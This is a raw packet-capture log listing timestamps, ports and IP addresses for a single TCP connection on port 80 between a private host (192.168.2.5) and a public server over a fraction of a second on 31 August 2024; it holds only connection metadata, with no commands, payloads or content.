Aug 31, 2024 10:14:14.088751078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.088757038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088769913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.088776112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088789940 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088803053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088871956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.088881969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.088901043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.088907003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088921070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088933945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.088984013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.088994026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089010954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089020967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089044094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089124918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089163065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089168072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089178085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089195967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089202881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089217901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089230061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089276075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089287043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089304924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089317083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089339018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089339018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089349985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089368105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089375973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089392900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089401007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089797020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089807987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089828014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089843035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089847088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089863062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089869976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089874983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089890003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089901924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089927912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089931965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089936972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089957952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089961052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089968920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.089972973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.089993954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.090007067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.171994925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.172008991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.172066927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239412069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239423990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239443064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239453077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239470959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239502907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239634991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239645958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239665031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239681005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239692926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239707947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239790916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239801884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239821911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239824057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239844084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239852905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239871025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239881992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239901066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239906073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239911079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239922047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239940882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239942074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239952087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239969969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239973068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239984035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.239984989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.239998102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240001917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240012884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240016937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240025043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240025997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240036964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240051985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240072966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240087032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240145922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240155935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240175009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240185022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240194082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240200996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240211964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240216017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240226030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240237951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240261078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240272999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240530968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240565062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240622044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240631104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240650892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240652084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240663052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240667105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240956068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240981102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240984917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240984917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.240992069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.240998983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241020918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241024971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241053104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241060972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241106987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241130114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241139889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241144896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241163969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241178036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241215944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241309881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241319895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241338968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241345882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241357088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241363049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241369009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241373062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241391897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241403103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241429090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241440058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241458893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241463900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241481066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241491079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241492033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241529942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241542101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241558075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241580009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.241580009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241589069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.241614103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242341995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242362976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242379904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242391109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242396116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242403984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242420912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242429972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242432117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242441893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242460012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242466927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242470026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242491007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242506981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.242923021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242933989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242960930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242971897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.242975950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243005991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243015051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243051052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243055105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243065119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243084908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243089914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243105888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243125916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243201017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243212938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243231058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243240118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243242979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243267059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243287086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243412971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243451118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243479013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243489027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243511915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243519068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243530035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243536949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243546009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243547916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243571997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243573904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243596077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243607998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243612051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243618965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243647099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243881941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243894100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243912935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243922949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243937016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.243951082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243976116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.243989944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244000912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244020939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244024992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244040012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244057894 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244064093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244101048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244138002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244167089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244175911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244189024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244199991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244204044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244224072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244236946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244690895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244702101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244724035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244734049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244743109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244759083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244767904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244781971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244815111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244832039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244843960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244863987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244867086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244875908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.244883060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244899035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244913101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.244997025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245029926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245034933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245049000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245068073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245080948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245342970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245354891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245379925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245389938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245392084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245408058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245413065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245421886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245434999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245451927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245548964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245560884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245577097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245592117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245598078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.245601892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245620012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.245635033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246105909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246161938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246198893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246226072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246237040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246239901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246258020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246269941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246278048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246289015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246299982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246309996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246330976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246334076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246345997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246364117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246382952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246385098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246401072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246408939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246422052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246426105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246442080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246454000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246468067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246469021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246488094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.246495962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246507883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.246535063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390067101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390079021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390142918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390252113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390275955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390285015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390300989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390324116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390328884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390336037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390355110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390376091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390391111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390439034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390463114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390477896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390486002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390501976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390505075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390515089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390516043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390530109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390546083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390563965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.390567064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390573978 CEST	80	49704	185.215.113.100	192.168.2.5
